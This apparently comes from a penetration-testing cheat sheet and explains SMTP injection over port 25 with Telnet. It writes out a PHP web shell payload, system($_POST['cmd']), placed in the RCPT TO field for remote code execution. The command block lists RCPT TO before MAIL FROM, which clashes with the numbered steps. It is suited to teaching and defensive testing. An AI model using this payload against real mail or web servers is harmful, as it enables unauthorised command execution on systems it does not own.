SMTP - 25

SMTP injection

The commands provided demonstrate a method to use Telnet for connecting to an SMTP server and executing commands, including the likelihood of code injection vulnerabilities.

1. Telnet IP 25: This command initiates a connection to the SMTP server running on the specified IP address on port 25, the standard port for SMTP communications.

2. MAIL FROM: The command follows to specify the sender's email address. This is part of the SMTP protocol's handshake process, where you declare the originating email address, even if fictitious in this example ([e-mail]).

3. RCPT TO: This specifies the recipient's email address. However, in this example, it includes a PHP code snippet that hypothetically gets injected into the server: <?php echo system($_POST['cmd']); ?>. This code attempts to capture and execute commands sent via HTTP POST requests, demonstrating a remote code execution scenario.

4. SUBJECT: Specifies the subject line of the email, seen here as a placeholder or "blsdfs", indicating it is meant primarily for illustration rather than practical use.

Telnet IP 25 
RCPT TO:<?php echo system($_POST['cmd']); ?> 
MAIL FROM:<[e-mail]> 
SUBJECT: blsdfs